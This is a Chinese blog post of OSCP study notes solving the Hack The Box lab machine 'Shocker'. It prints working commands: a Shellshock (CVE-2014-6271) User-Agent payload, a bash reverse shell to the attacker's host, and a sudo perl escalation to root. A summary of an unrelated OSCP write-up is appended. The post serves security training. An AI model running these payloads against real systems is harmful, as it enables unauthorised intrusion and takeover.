OSCP备考-2

2 篇文章 0 订阅

在这里插入图片描述

继续HTB

这一道题也挺简单。还是经验少不知道这个漏洞
常规namp

root@kali:~/Desktop# nmap -sV -T4 10.10.10.56
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-30 07:54 EST
Nmap scan report for 10.10.10.56
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开了80和 2222 。有web服务先看web ssh是否有漏洞先放着
在这里插入图片描述
web页面就一个图片,没有其余东西(当初还想着图片里面是不是隐写了什么),接着流程扫目录寻找敏感文件。先看(robots.txt)这里用工具dirsearch

Target: http://10.10.10.56
[08:06:38] Starting: 
[08:07:38] 403 -  294B  - /cgi-bin/                                                                               
[08:08:13] 200 -  137B  - /index.html                                                                          
[08:08:56] 403 -  299B  - /server-status                                                                
[08:08:56] 403 -  300B  - /server-status/

发现有cgi-bin 目录,目标web服务使用了CGI(通用网关接口),继续扫该目录看看有没有解析的文件

root@kali:~/Desktop/dirsearch# python3 dirsearch.py  -u 10.10.10.56/cgi-bin/ -e sh,py,cgi
Target: 10.10.10.56/cgi-bin/                                                                                                                                                                                                                                                                                                     [07:17:12] Starting: 
[07:20:01] 200 -  118B  - /cgi-bin/user.sh  

这里之后要使用一个漏洞,经验少是整破头也想不出来 。漏洞名称CVE-2014-6271(破壳),不细说这个漏洞。
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理漏洞大概就是这样的。

root@kali:~/Desktop# curl -A "() { :;};echo ; echo; /bin/bash -c 'whoami'" http://10.10.10.56/cgi-bin/user.sh
shelly

测试成功,反个shell

本地监听9999
curl -A "() { :;};echo ; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.14/9999 0>&1 '" http://10.10.10.56/cgi-bin/user.sh
成功获取user的flag
shelly@Shocker:/home/shelly$ ls
ls
user.txt

之后进行提权

shelly@Shocker:/home/shelly$ sudo -l //列出用户特权或检查一个特定的命令
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$ 

可以发现该用户可以 sudo nopasswd起 perl

shelly@Shocker:/home/shelly$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
sudo /usr/bin/perl -e 'exec "/bin/sh";'
whoami
root
cd /root
ls
root.txt
cat root.txt 

完事——还是菜
https://www.freebuf.com/news/48331.html 漏洞文章

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值